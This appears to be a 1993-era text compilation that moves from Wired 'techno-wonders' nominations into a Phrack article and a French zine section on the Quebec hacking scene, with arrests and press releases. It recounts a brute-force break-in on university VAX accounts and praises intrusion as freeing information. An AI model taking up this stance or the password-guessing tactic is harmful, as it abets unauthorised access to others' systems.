any substance that stirred the sacred scrim of "reality" was swift condemnation . . .or equally blind enthusiasm. No more. Heralded by modern antidepressants, seratonin inhibitors, "smart drugs" like Hydergine, and a new generation of experimental nootropics (molecules that act exclusively on the higher brain centers), the era of designer consciousness-raising chemicals -- neuromantics -- is dawning. Modern psychobiology has provided us with a marvelous paradox: the human mind, while still viewed as luminous and ineffable, is also recognized as a stewpot of swirling chemicals, synapses, and neural transmitter juices that can be tweaked as easily as the pH level in your swimming pool. The result will be an ever-widening acceptance of (and reliance upon) pharmaceuticals that allow individuals to reformulate their own cerebral mix. Pure LSD is currently available, by prescription, in Switzerland; a book lionizing Prozac -- a wildly popular antidepressant -- is on the best-seller lists nationwide (ten years ago few even thought of depression as a disease). The use of alleged cognition and memory enhancers like Piracetam, choline, phenylalanine, and Hydergine, which already have huge cult followings, will skyrocket as the drugs are improved and their utility confirmed. Anyone who grew up during the 1960s and 1970s is well aware of the impact that the "acid culture" ultimately had on the 1990s. Many of our finest artists, writers, technicians, and sages drew pivotal inspirations from enhanced states. A similar renaissance may well take place when neuromantics hit the mainstream. And one thing's certain: It won't be a fringe culture. - Jeff Greenwald Jeff Greenwald, author of Shopping for Buddhas (HarperCollins), conceived and edited the Seven Wired Wonders. He is a frequent contributor to Wired. Immersive Technology ^^^^^^^^^^^^^^^^^^^^ Surround the human sensorium with imagery that is partially or entirely other than that provided by the actual world, arranged in ways that invite and support holistic human participation. The result goes by many names: virtual reality, virtual environments, artificial reality, multisensory interactive systems. All are immersive prostheses for the imagination. Immersive technology represents, on the one hand, the unattainable grail at the end of the history of cinema, and on the other hand, the beacon that draws creative energies toward the culmination of computing. It replaces the traditional ethos of computing -- bodiless minds communicating via keyboard and screen -- with the notion that the senses are primary causes of how and what we know, think, and imagine. This technology is situated in a historical vector: the exteriorization of human imagination. As Terence McKenna says, the human journey boils down to the quest to turn ourselves inside out. From punched cards to interactive computing, from Zork to the Holodeck, from Alfred Hitchcock's experiments with point of view to Star Tours and its kin, we have inched along the incremental path on this quest. Along the way, we have been forced to give up relinquish notions about authorship and control. In the world of immersion, authorship is no longer the transmission of experience, but rather the construction of utterly personal experiences. Just as 2001: A Space Odyssey was an index to the then-impossible - in terms of its representation (simulation) and its object (artificial intelligence) - so the Luxor complex in Las Vegas is a contemporary index to the next wave of what Aristotle called plausible impossibility: a dynamic first-person point of view on a synthetic, imagination-hacked world. It is no accident that effects wizard Douglas Trumbull has been intimately involved with the articulation of both visions. Convergence is in the air. One cannot help but sense that the trajectory is an exponential curve. What next? Whatever, it's out of here. Out of today's media constructs, saturated as they are with a bogus third-person view. Out of here, and into here with new eyes, ears, noses, fingers. . . on our own again, after the long mediation of top-down authored experience, of broadcast culture and mass-produced objects of desire. - Brenda Laurel ------------- Et voici le bout in‚dit.... Other Wired Wonders ******************* Digital ^^^^^^^ The techno-philosophic revolution of the 20th century is "DIGITAL." Digital images, digital files, digital as a way of life. Life is, and has always been, an analog flow of experience and situations. We feel in an analog mode...any emotion is undefined and continuous. Our ability to communicate and describe used to be analog also. Images were brought into memory with photography, musical performances were passed into wax -- processes which approach the way we innately think and remember. I used to make films, which required me to handle the frozen image. That physicality was both powerful and frustrating. Video, on the other hand, was a flow of images which I could never capture and hold, but which I could mix into stories. They came from somewhere, but the trail ended with the mix. Digital video images return the power of the physical and extend it into the metaphysical. The power of "Digital" extends into endless facets of everyday life, far too numerous to count or comprehend. But for me, the change from analog to digital has meant everything: a deeper understanding of what makes an image, and why I create images. To appreciate digital is not to remove it from the flow; it means seeing an image clearly within the flux of a shot, a sequence, a story, a movie, anything, anywhere. -- John Sanborn Sanborn is an internationally known video artist and director who has created works for museums as well as for broadcast television. Holographic Video ^^^^^^^^^^^^^^^^^ I'm self-conscious about appearing to use Wired to toot the Media Lab's horn. However, it would be hard not to include Holographic Video as one of the techno-wonders. It exists (the size of a tea cup, as of next Monday) It will be how you watch football games in the year 2010. Anything that needs 250,000 to 2,500,000 pixels PER SCAN LINE has got to be a techno-something. -- Nicholas Negroponte Negroponte is founder and Director of the MIT Media Lab, and the Senior Columnist for Wired. Telephone ^^^^^^^^^ I'm afraid I'm a techno-virgin. I wouldn't know a pentium chip from a potato chip! So my techno-wonder is the common garden telephone. The telephone is the root of many modern marvels, but for me it rests in its ability to shrink time and space, to drop me down in places I couldn't otherwise be, and to provide an umbilical cord for globe-trotting Roddicks. The telephone has also been the most powerful factor for the meeting of minds since the invention of the printing press. Love is no longer tracked by poems or letter -- it's now tracked on telephone wires. -- Anita Roddick Anita Roddick is an author, lecturer and the Creative Director of the Body Shop International. Deep Space Network NASA/JPL ^^^^^^^^^^^^^^^^^^^^^^^^^^^ The Deep Space Network NASA/JPL Guides interplanetary spacecraft. Landed two craft on Mars within five miles of their intended destination, inserted probes into near-Jupiter and near-Saturn space within meters and fractions of a second of optimal parameters. Has been used to test general theory of relativity, measure distances on Earth to within fractions of an inch. System consists of three radio dishes (US, Spain, Australia) linked to NASA computers at Pasadena and elsewhere. - Timothy Ferris Star Trek ^^^^^^^^^ My nomination is Star Trek, an icon of 20th century culture. Although the technology seen on the show is largely fictional, the show itself has had a profound impact on a generation of scientists, engineers, computer programmers and other present-day visionaries. It is difficult to find an area of significant American technological or scientific achievement that does not have one or more major players who were inspired as children by the wonders of Gene Roddenberry's vision. -- Mike Okuda Michael Okuda is a senior graphics artist and technical consultant for Star Trek: The Next Generation and Deep Space Nine. COBE ^^^^ The Techno-Wonder of my choice is COBE, the Cosmic Background Explorer Satellite, in orbit since late 1990. Its audacious, flawless measurements, whose all but incredible consistency and precision have slain seven aspirant cosmologies at one blow, throw more light on the inflationary origin of our present cosmos since the discovery of the microwave background nearly thirty years ago. What a device, and what a team of investigators and engineers! -- Philip Morrison A Professor of Physics and Astrophysics at MIT, he is also known for his brilliant book reviews in Scientific American. Super-Conducting Super Collider ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Congress has been playing Perils of Pauline with the funding for the SSC for the last few years. If the 53 mile ring under the Texas prairie is ever built, though, it will not only be the biggest high-tech construction project ever completed, but will take us one step closer to understanding the most fundamental question science can ask: 'why is there a universe, and how does it work?' -- James Trefil James Trefil is Clarence J. Robinson Professor of Physics at George Mason University in Virginia. His upcoming book, A Scientist in the City, will be published by Doubleday in January. ENIAC ^^^^^ Ben Franklin, Founding Father Ben Franklin is a Founding Father not just of the Nation, but also of the nation's computer industry. In 1749, Ben published his "Proposals relating to the Education of Youth in Pennsylvania." This resulted in the formation of the College of Pennsylvania, which became the University of Pennsylvania, which organized (in 1923) the Moore School of Electrical Engineering. In June of 1943, a "Fixed Price Development and Research Contract" between the United States of America and the Trustees of the University of Pennsylvania was signed. The work was assigned to the Moore School, and by June of 1944 it was accomplished. The job was to build the computer which was named "Electronic Numerical Integrator and Computer". We know it as ENIAC. -- Charlie Rose A senior congressman from North Carolina, Charlie Rose is Chairman of the Committee on House Administration. Nanotechnology ^^^^^^^^^^^^^^ I nominate nanotechnology and K. Eric Drexler of the Foresight Institute for expanding the boundaries of collective restraints on "reality" through the development of Nanotechnology. Nanotechnology will profoundly alter life as we know it by direct manipulation of the structure of matter at the atomical level. Drexler proposes achieving this by using self-replicating molecular machines or nanomachines that will be small enough to arrange individual atoms. -- Candice Pacheco Pacheco is a founding member of D'Cuckoo, the Neo-classical, post- industrial, cyber-tribal world funk music ensemble. Apple's Macintosh ^^^^^^^^^^^^^^^^^ My candidate would be Apple Computer's user friendly computer. It seems to me that the use of personal computers made a giant leap when Apple came forward with their first computers. In our business, we have seen people who you would guess would never touch a computer, fall in love with the Apple architecture. If Stephen Job hadn't come up with the idea of making the computer easily fun to use, I think we would be five to ten years behind where we are today. -- Gary Ames Ames is President and CEO of US West Communications, Inc., the Baby Bell operating in Colorado. Self-Cleaning Garlic Press ^^^^^^^^^^^^^^^^^^^^^^^^^^ I believe the self-cleaning garlic press to be one of the major advances in civilization. What do you think -- will it make the list? -- Molly Ivins The author of Molly Ivins Can't Say That, Can She? is a nationally syndicated columnist for the Fort Worth Star-Telegram. In the Eyes of Other Wired Thinkers *********************************** Aurthur C. Clarke ^^^^^^^^^^^^^^^^^ Here are my quick 7 wonders: microchips, Mandelbrot Set, Concorde, Saturn U., camcorder, laser, Scanning Electron Microscope. -- Arthur C. Clarke In 1945, 28-year-old Arthur C. Clarke proposed the geosynchronous (now Clarke) orbit, and anticipated the era of communication satellites. His books include Childhood's End, 2001: A Space Odyssey and The Hammer of God. Vint Cerf ^^^^^^^^^ Magnetic Resonance Imaging One of the most significant advances in non-invasive diagnostic technology created thus far. The ability to image soft tissues in three dimensions has transformed surgery, internal medicine, prosthetics design and orthopedics. The Scanning Tunneling Microscope The ability to image individual atoms has changed the way we think about solid state physics, physical chemistry and related fields. The Pioneer Spacecraft These have left the solar system and are out in galactic space -- the farthest the arm of mankind has yet reached. -- Vint Cerf Dr. Cerf became President of the Internet Society in 1992. He received the EFF Pioneer Award earlier this year. Richard Saul Wurman ^^^^^^^^^^^^^^^^^^^ In the last hundred years, the dreams of the previous 7,000 years have begun to be fulfilled. Perhaps this is what the poet Robert Graves meant when he talked of "the waking dream." For me, "the waking dream" is the extension of my abilities and senses as an enriching part of my life. My mouth and my ears, my voice and what I hear, the extension of conversation that the telephone has given us, this is the first wonder that comes to mind. Wonder Number Two, a much more recent wonder, is an attachment to the telephone -- the fax. Our ears and our eyes are filled by the waking dream-like inventions of radio, cinema and television for wonders 3, 4 and 5. The first two wonders concern location and the second three relate to interest, understanding and entertainment. The third group has to do with dissemination of information in real time with real copies. These are the Xerox machine, USA Today and CNN, which give you the world, th enews, and have created a world network of events. The last wonder is the Personal Digital Assistant (PDA). It will include television, tape recorders, Camcorders, the newspaper, a message system, a memory and a walking library of information. With the eventual advent of a forty-hour battery it will allow us knowledgeable ability and communication that truly is the waking dream and the wonder of this century. None of the above ideas are particularly esoteric. They're not a particular chip or parallel computer system. Rather, they're the things that take the parts of our bodies and give them the better size, speed and acuity than we ever though possible. -- Richard Saul Wurman Richard Saul Wurman is an 'information architect' whose credits include the Access Guidebook series and the creation of the TED (Technology, Entertainment and Design) conferences. Marvin Minsky ^^^^^^^^^^^^^ The most astonishing techno-wonder is not a thing at all, but an idea. It is Alan Turing's incredible discovery, in the 1930s, that all computers are equivalent -- that they all have the same inconceivably wide range of capabilities, provided that they can read and write into memory and do a few simple operations that depend on what they have just read. Turing foresaw that this was no mere mathematical curiosity. It is the reason why we can have so many different "programming languages" for the same personal computer -- and for why we can use one and the same programming language for so many different computers. Today there are only a few billion computers on our planet (all but the most expensive wrist-watches contain one), but I'm sure that at some point in the next century, the average person will wear an inconspicuous appliance containing some trillions of them. What services will they provide us with? Probably, things that no one living today has even started to imagine. Also, The Vacuum Tube triode, which opened the world of electronics. The invention of PCR process for "amplifying" a single molecule of DNA. The invention of the ATM -- Atomic Force Microscope -- that enables a person to "feel" the shape of a single molecule, and The effect of broadcast television in "dumbing" most of the world's population by providing them with idiotic models. -- Marvin Minsky A pioneer in the field of artificial intelligence, Minsky is a professor at MIT and author of Society of Mind. Francis Ford Coppola ^^^^^^^^^^^^^^^^^^^^ Assuming they are of all time, my list would include, in no special order: Alternating current -- Tesla Interchangeable parts -- Remington, Ford, Telephone, Radio, Television -- Bell, Meucci, Marconi, Zworkin, Farnsworth. Random-access disc Personal computers -- Brabbage and hundreds of others. The Aeroplane -- many contributors Optics: The telescope -- microscope (Galileo, Leew? -- can't spell it) the Cyclotron (Lawrence) The Motion picture (Edison, Lumiere). The Nuclear Reactor -- Fermi Rocketry -- Goddard. I've left out the old chestnut such as the wheel, printing press, etc. These come to mind, I can't think now what I've omitted in agriculture and medicine. Pick you favorite seven. Very often in our history of art we find that a form already does something in the mind of the audience and then technology comes along and enables it to actually be done. I think silent films always had sound. Then technology came and actually gave us sound and suddenly it was a burden and a blessing. It's always a blessing in terms of a new thing that earns a lot of money. Sometimes it was a burden in that it didn't evoke sound as well as when you didn't have the sound. The novel and the drama always had the cinema. You could read a novel; you read Madame Bovary and it was sort of like a movie but it was mixed in your mind. And then technology came along and enabled it to really happen. The same with color during the black and white era; where these new technologies come along and gave something that was always there by suggestion, by art. Now, with the advent of personal computers and the random access disc, technology once again is going to give us something that art has always aspired to and has always done. -- Francis Ford Coppola Producer/Director Coppola's films include Apocalypse Now, The Godfather and Bram Stoker's Dracula. He will soon produce Kenneth Branagh's Frankenstein. Michael Kleeman ^^^^^^^^^^^^^^^^ The Internet -- the global democratic electronic communication network. Making available a "real-time" library without walls, with electronic messaging, to millions, and in the future billions.While the global transport network provides the backbone for communicationa, the Internet has created the electronic community among 15MM people (today) and in the future possibly billions. What separates the Internet from a basic transport network are its resources and wide scale public action to information sources. Additionally its cooperative nature (controlled by a democratic committee of multinational origin) and critical support for the academic and government infrastructure of many nations (from the United States to Russia), make it a technological wonder of major social proportions. Satellites -- Remote sensing and positioning Changing how we see ourselves on spaceship earth. While communications satellites have been supplemented and will be largely replaced by fiber optic communications (for most applications in all but the most remote areas), satellites for remote land (and water) sensing and global positioning have changed forever how we look at our world. Like an airplane with an unobstructed view satellites permit us to see ourselves and the impacts of our actions in real time on a global scale. With luck, they will give us the knowledge to save our planet, and ourselves. Digitization of information -- changing information content from "natural" analog formats to one which can be manipulated more easily by machine Virtually all information in nature is analog in form (even quantum particles like light have analog wave attributes). Yet we have developed the means to transform (to convert) these analog data to a digital format which allows manipulation of the data by digital computers. This has changed the entire way we deal with information, from voice phone calls to CD based music and even newer forms of entertainment, enabling almost all of what we now think of as electronic. What is perhaps more critical is that having done this once, it is reasonable to expect that we will again effect yet enother transformation creating another non-native representation of information. Stored program control machines -- computers, phone switches, embedded controllers in cars, planes, etc. The Von Neumann machine capable of being changed by the programming logic provided to it, and changed again by new programs. -- Michael Kleeman Michael Kleeman is a Bay Area computer and communications consultant specializing in future telecommunications trends. Tod Machover ^^^^^^^^^^^^ When I thought of your challenge, people rather than specific inventions came to mind. I guess that this says something of my own view of men and machines. Marvin Minsky: Minsky can be considered the father of artificial intelligence and also what might be thought of as computational psychology. His book, Society of Mind, has already led to a new generation of massively parallel computers and of autonomous agent software. His decentralized view of the mind -- coming, paradoxically, from machine architecture -- will be as influential to our general view of psychology as Freud's theories were at the beginning of the century. John Cage: Cage, who died this past year, considered himself to be as much an inventor as composer. His fundamental goal in life was to expand the boundaries of what we consider to be music. His accomplishments and innovations include the first electronic concert music, first "prepared" piano, first "chance" music, first opera composed by computer, etc. Cage made it possible to imagine art forms that would be truly different, and not just rehashes of old ideas and forms. He truly believed that art could transform society, and in proving it he became one of the greatest, if gentlest, revolutionaries of our time. Max Mathew: Mathews can be considered the Father of Computer Music. He was the first person to use a digital computer to produce sound, and established the principal of software "unit generators" on which all subsequent electronic music has been based (including all current MIDI synthesizers and samplers). His GROOVE system from the 1960s was probably the first gesture-controlled musical instrument; his signal processing work work with Hal Alles in the 1970s produced the world's first real-time digital synthesizer; his electronic violin from the 1970s was the first non-acoustic string instruments; his Radio Drum from the 1980s is probably the most sophisticated three dimensional gesture-oriented musical interface to have yet been invented. - Tod Machover Machover is head of the Music and Physics group at the MIT Media Lab. Wes "Scoop" Nisker ^^^^^^^^^^^^^^^^^^ Chopsticks This was the breakthrough that set humans apart from other animals. All of civilization proceeds from there. The Meditation Bench This recent invention allows stiff-legged Westerners to sit relatively comfortably in meditation and come to an understanding of their overblown sense of self. Anything that contributes to the shrinking of the individual ego and the many entrapments thereof, is the revolutionary tool we most need. Gloves Without gloves, humans who inhabit temperate climates -- the most nervous and inventive of our species -- would have frozen their thumbs off. And heaven knows where we would be today without thumbs. - Wes "Scoop" Nisker Nisker is a radio commentator, meditation teacher and the author of Crazy Wisdom (Ten Speed Press). His next book, The Millenium and Me, will be published in 1994. Jeff Greenwald ^^^^^^^^^^^^^^ Automatic Teller Machines Utterly essential yet doomed to obsolesence, ATMs serve as the awkward, endearing transition between the cash economy and the era of global microchip money. One day they'll be as extinct as the slide rule; in the meantime, we can't live without them. Camcorders The casual but comprehensive video documentation of life on Earth, now underway, is the first collective art endeavor ever undertaken by the human race. Cordless Microphones Seeing Springsteen on David Letterman convinced me; although it's kind of sad to see those signature wrist-flips, rope-jumps and lassoo spins go the way of the Rhodes piano. Personal Laser Printers Ten years ago, typesetting seemed like a form of alchemy. I remember the endless trips back and forth to the local graphics shop, the gigantic typesetting machines; the weird plasticky text that had to be run through a waxer and painstakingly aligned on the layout board. I remember when everything I wrote was in Times, Courier,or dot-matrix, and when seeing actual italics in a term paper or thesis provoked gasps of admiration and envy. SPF15 Sunblock It was only a matter of time before human beings realized that they require the same tough, long-lasting protection that their wooden decks and patio furniture do. I only hope that the UV radiation pouring through the ever-expanding ozone hole doesn't eventually mutate insects to the point where we have to coat ourselves with the equivalent of creosote as well. -- Jeff Greenwald Jeff Greenwald, author of Shopping for Buddhas (Harper Collins), conceived and edited Techno-Wonders. He is a frequent contributor to WIRED. Douglas Coupland ^^^^^^^^^^^^^^^^ Lunch on the Concorde: Glamour, stars, and speed: the embodiment of the 20th Century. Ghosts of Andy Warhol and Halston said to haunt seats 3A and 3B. Liza's still around. Added Bonus--Can't last much longer -- imminent doom can only enhance the glamour. CNN/MTV: The closest as a species we've come yet to having a family dinner-table conversation. Added Bonus--Very little of the psychodrama that normally accompanies family dinners. Eastern Bloc Nuclear Reactors: Simply because none of them have exploded yet. Chernobyl was a burb. Added Bonus--The exciting, tingly feeling waiting for it to happen. Lego Satan's playtoy: These seemingly "educational" little blocks of connectable fun and happiness have irrevocably brainwashed entire generations of primarily G7 youth into developing mindsets that view the world as unitized, inorganic, interchangeably modular, and populated by bland limbless creatures with cutishly sweet smiles. Responsible for everything from postmodern architecture to middle- class anal behavior over the "perfect lawn" (symbolic of the green plastic base pads). Added Bonus--No bonuses here. Lego must die. Home VCRs/Remote Control Devices: Have done more damage to human attention spans on a day-to-day level than three decades of network TV combined, thus boldly preparing humanity for the ultra information-dense world of the 21st Century. Added Bonus--Channel surfing is indeed fun. Cocoa Puffs: To eat a bowl of extruded cocoa-tinted corn byproduct nodules "endorsed" by Sonny the Cocoa Puffs Bird -- a form of secular transubstantiation -- yes or no? As a product category, pre-sweetened breakfast cereals more than most others typify the way in which a secular technological culture sublimates its religious impulses into consumer ones. Added Bonus--Fond memories of the Trix Rabbit and Lucky the Lucky Charms Leprechaun. -- Douglas Coupland Timothy Leary ^^^^^^^^^^^^^ I enclose a brief, businesslike, nerdy, superficial list of High-Tech Wonders. They all have to do with information -- media-brain-operation. The Transistor The Laser Fibre-Optics Personal Computers: Apple 2C and descendents Video Games which trained the new Nintendo Generation to move things around on screens thus accelerating their RPM (Realities Per Minute) to light-speed. Television-Cable of course. Psycho-Active Neuro-Transmitting Drugs Question: Do Nuclear Fission and the Printing Press and Marconi's Radio, the light bulb, films and the Interpersonal Telephone belong to the "Modern Mechanical World"? Question: What and when are the Post-Modern Ages? I don't think that we can fabricate a linear list of wonders for the Information Age. The Ancient wonders were Monuments produced by a Totalitarian Theocracy and manual slave labor. The Philosophy (the meme system) was Feudal. Glorify the Patron, the Pharos, Popes, Kings. There were no practical benefits for the people. The philosophy and literature were theological. St Thomas, G Dante, St. Augustine. The Ancient Artists are remembered and honored. Titian, Michelangelo, Raphael, The Greeks. The Modern Wonders were produced in the Industrial Age Engineering and involved a complex "class-caste" system. The Philosophy was Mechanical. Newton-Darwin. Some of the products glorified the owners. But they also served passive users and equipped individual operators. Should we humanize by listing the Modern Mechanical Wizards. Architect Frank Lloyd Wright, Thomas Edison (in spite of his cocaine addiction), the Wright Brothers, Henry Ford (in spite of his political nuttiness), Graham Bell, Marconi, Tesla? This humanizes modern technology and offers eccentric role models. The High-Tech Wonders provide a chaotic paradox. The technologies change so quickly. The Ancient Wonders were constructed over a period of 3000 years. The Industrial Age lasted around 300 years. The Roaring 20th Century has produced at least three Ages defined, following McLuhan, by the media: Wonders of the Electronic Age (1900-1950) -- home lighting, radio, electric home appliances by the score; Wonders of the Electronic Age (1950-1980) -- Main Frames, minis, TV, cable, FAX, satellites, Remote Control; Wonders of the Digital Age (1980-2000) -- PC's, modems, video games, multi-media, Digital Home Appliances, CD-ROM, CD-RAM, etc. To humanize this chaos we should praise the wizards: Gates, Jobs, etc. And the philosophers: Marshall McLuhan, William Gibson, Brenda Laurel, Mondo 2000, Wired. Thanks for giving me an excuse to poke lovingly around this delightful chaos. -- Timothy Leary Mae Jemison ^^^^^^^^^^^ Koch's Postulate maintains that for any given infectous disease that there is one microorganism (bacterium, virus, membrane, parasite, slow virus, etc.) that causes the ailment; and to prove that a specific agent causes the disease one must take that specific organism and cause the same ailment in another person. Silicon Besides carbon there is probably no one atom that has had a more versatile role in the life of humans. Today it is used for applications ranging from the basic ingredient to make the Pentium Chip to leg calf implants for cosmetic purposes. It's some neat stuff. Voyager 1 and 2 These two satellites have gone outside of the solar system, one out of the ecliptic plane and the other past Neptune (it is closer than Pluto is now), represent the first purposeful heralding of the presence of humanity to the rest of the universe. Voyager represents the greatest achievement of space exploration to date -- even bigger than the moon landing. And the Voyagers are still talking to us. Bell Laboratories actually did exist, but now it is no more. From this techno-wonder research institute came the transistor, fiber-optics, a machine that measures lead poisining in children with just a drop of blood, and even Nobel prize winning studies on the Big Bang Theory of the creation of the universe. This entity developed the telephone switching systems which are in large part responsible for our ability to transfer information from one location to another at close to the speed of electromagnetic radiation. The elucidation of the structure of hemoglobin S as the cause of sickle-cell disease. With this one event Linus Pauling demonstrated that the structure of protein molecules was so important to their function that the mere substitution of one amino acid for another could cause radically different function and disease. Even though the mechanism of DNA replication came later and is more popular, it is the fact that DNA codes for protein structure that makes DNA important. Talking primates in laboratories around the world. Whether the communication is via sign language or lexicons on a board, this research demands that we humans re-evaluate all our co-inhabitants here on Earth. Personal Computers have caused a total reordering of the workplace and its productivity (whether better of worse remains to be seen). As multi-media matures much of entertainment and information transfer will occur via computers. Internet and all the computer networks exists not because of large mainframe computers but because of the PC. - Mae Jemison ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú ----------------------------------------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Four, File 26 of 27 ***************************************************************** International Scenes There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world-wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles. With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. We have been requesting files from people to describe the hacking scene in their country, but unfortunately, more people volunteered than followed through (you know who you are.) This issue we want to introduce you to the scenes in Quebec, Sweden and Israel. ***************************************************************** What is going on in the 418 scene By Gurney Halleck of NPC Believe it or not, there are hackers and phreakers in the 418 AC and people are just starting to hear from us. There are only two real H/P BBS in Quebec City, The Workshop and Miranda BBS. The first one is a NPC hang out (Northern Phun Co.), a local Hacker/Phreaker group that has a certain fame, just read Phone Pirates, a recent book by two Toronto journalists.... The other one is considered a little bit lame by some. Personally, I am friends with the sysops, they're not real hackers, but generally nice guys. Here are some names you might have seen in the H/P scene, Blizkreig, SubHuman Punisher, KERMIT, Atreid Bevatron, Coaxial Karma, Mental Floss, Fairy Dust, Evil-E, Black Head, Santa Claus, Blue Angel Dream, myself of course and probably many more I have forgotten to mention. (sorry) NPC Publishes a monthly magazine and will be celebrating their first anniversary on November 1st 1993. They have been on national TV and press for breaking into the computer of the prime minister's cabinet. In 418, there is only one Internet Node, at Laval University, and to get a legal account on one of their systems, be ready to shell out 90$ a month. No kid can pay that much, so that's why there are so many hackers. They hack anything from old VAX/VMS machines to brand new Suns and Datapac and Edupac. Back in April of 1993, a hacker, Coaxial Karma, was arrested for trying to "brute force" into saphir.ulaval.ca, a cluster VAX/VMS. He was working from information from another hacker, myself, that there were many "virgin" accounts (account that were issued but never used) and that these accounts all had a four letter (just letters) password. So he proceeded to brute force the computer, after 72000 tries, he finally got in. An operator, entirely by chance, found the logs for the 72000 failed logins for one account on saphir, an proceeded to call the police. The hacker, being a juvenile, got by easily, not even loosing his computer. On September 30th, another hacker, SubHuman Punisher, was arrested by the RCMP. It all started a long time ago, when people started hacking into Laval University's systems. First, they installed a password on their terminal servers, just one password, the same for everybody! Needless to say, everybody knew it. Second, most sys-admins knew next to nothing about security, so when they found intruders, they could not keep them out. Enter Jocelyn Picard, sysadmin of the GEL subdomain and security expert. He does his job and does it well. He kicked them out for a long time. (I personally do not think it was his idea to call the RCMP.) After a while, the hackers where back with a vengeance and using Laval's systems to hack other systems. So the guys from the CTI (Centre de Traitement de l'Information) decided to call the authorities. Bell monitored the phone lines from Sept 16th to Sept 30th. Systems in the ERE hierarchy in the umontreal.ca domain were also logged for Internet activity. On the 30th, 2 hackers where arrested. Both of them, their only crime was wanting to be on the internet. Now is that so bad? I only knew one of the two, SubHuman Punisher, so I'll tell you what happened to him. He was charged with theft of telecomunications (that charge as been dropped) and for illegally using a computer. A new charge as been added after they drop the first one: copyright infringement. All his equipment was taken away. We don't think he'll get by as easily as the first electronic martyr of 418 (as we like to call him). This time it looks serious. So we at NPC have started a relief fund for his legal defense, The "Fond de Defense SubHuman Punisher" ( the SubHuman Punisher defense fund). All contributions are welcomed, write to: FDSP 886 St-Vallier St. app 7 Quebec City, Qc Canada, G1K 3R4 ***************************************************************** ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú ----------------------------------------------------------------- Read the news don't believe the Hype By Paranoid and The PoSSe --------------------------- Newsgroups: ulaval.unix-ul From: Marc Blanchet Subject: Communique de la GRC concernant des perquisitions Organization: CTI, Universite Laval Bonjour, voici le communique de presse de la GRC concernant des perquisitions effectuees. Marc. ------------------------------------------------------------------ OPERATIONS G.R.C. - PIRATES Le 30 septembre 1993, les agents de la G.R.C., section Crime Informatique, de Montreal et de Quebec ont procede a deux perquisitions simultanees l'une dans une residence de Ste-Foy et l'autre a Sillery, concernant l'utilisation non autorisee d'un ordinateur appartenant a l'Universite de Montreal. Ces perquisitions sont le resultat d'une collaboration entre l'Universite de Montreal, L'Universite Laval a Quebec, le groupe de la surete de Bell Canada et la G.R.C. Grace aux nouvelles technologies numeriques, le depistage de ces entreees par effraction contre des systemes informatises est grandement facilite. L'enquete d'une duree de deux semaines visait le domaine de la piraterie informatique, c'est-a-dire le vol de telecommunications, l'utilisation non autorisee d'un ordinateur ainsi que des mefaits concernant des donnees. Ces trois activites contreviennent aux Articles 342.1 et 326.1 et 430(1.1) du Code Criminel. L'enquete visait egalement des infractions en vertu de la Loi sur le Droit d'auteur. C'est bien connu parmi le milieu informatique que les pirates informatiques essayent d'obtenir les codes d'acces et les mots de passe en utilisant des moyens detournes. Les suspects de cette enquete ont ete identifies toutefois, aucune accusation n'a ete deposee. L'enquete se poursuit. ----------------------------------------------------------------- Marc Blanchet | telephone: 418-656-3559 Coordonnateur a l'informatique | telecopieur: 418-656-5902 Fac. Sciences et Genie | Pouliot 1100 | Universite Laval | Internet: Marc.Blanchet@fsg.ulaval.ca Quebec, Quebec, Canada | G1K 7P4 | ------------------------------------------------------------------ [Atreid- Ah! L'enquˆte se poursuit qu'il dit. C'est la phrase cl‚ que les coches utilisent pour dire, en clair, que l'affaire est … peu prŠs close, qu'elle n'avance pas, qu'ils sont pay‚s … ne rien faire, etc.] - 30 - Leeched from POPULAR SCIENCE - D‚cembre 1993 LIFE IN THE V.FAST LANE par Jon Pepper How fast is fast enough? For modem users, the need for speed seems boundless - especially with the size of data files continuously getting larger. But the wait for the long-delayed next generation of faster modems appears to be over. For more than two years now, an international committee that sets telephone equipment standards [CCITT] has debated the detail of a new modem benchmark known as V.Fast (pronounced vee-dot-fast). The V.Fast standard still has not arrived officially, but an interim standard for V.Fast-class (or V.FC) modems has. These new modems pump data over phone lines at speeds up to 28,800 bits per second - fully twice the base transmission speed of the current 14,400-bps (or V.32bis) standard. These modems still use conventional phone lines, and provide high-speed fax capabilities too. You must have a V.FC-compatible modem at both ends of the line to achieve top speeds, but V.FC modems will work with older modems at slower speeds. A variety of modem makers, including Hayes, U.S. Robotics, and Practical Peripherals, have said they intend to sell new V.FC modems, or upgrade existing ones, very soon. Rockwell, the leading supplier of chips for modems, began shipping the parts needed to make these high-speed modems this fall. In the meantime, some companies are offering their own solutions. Motorola's Codex 326XFast-SDC modems, for example, use a unique encoding scheme that the company claims can yield speeds as high as 115,200 bps. The final V.Fast standard is expected in 1994. Maybe. [Paranoid- Peut-ˆtre que cet article va mettre fin … des rumeurs ridicules qui courent un peu partout concernant le V.Fast...] - 30 - Leeched from POPULAR SCIENCE - D‚cembre 1993 INTERNET COMES TO CABLE TV par Suzanne Kantra The sprawling Internet network has been touted as the precursor to an electronic superhighway, providing a means of accessing vast amounts of information and a global electronic mail system. To date, however, this mother of all networks has been used principally by university researchers, government agencies, and large companies. But it may soon be coming into your living room. Continental Cablevision, the third largest cable-TV company in the United States, plans to deliver Internet to you through the cable outlet in your home. Using a special modem plugged into your cable outlet, you'll be able to dial directly into Internet. In addition to letting you access resources such as the Library of Congress card catalog and the National Weather Service's satellite images - and more than 10,000 other data banks - cable TV links promise broadcast-quality video and CD-quality audio. And information could be delivered at rates as high as 10 million bits a second [Mbps], compared to about 14,000 for today's best modems. Internet isn't the only computer network that's likely to appear on your TV screen. Prodigy, the nation's largest online service, recently announced that it is attempting to get cable TV companies to carry its mix of e-mail, information, education, and entertainment options. Other services, including CompuServe and America Online, say they may do the same. The chief drawback to 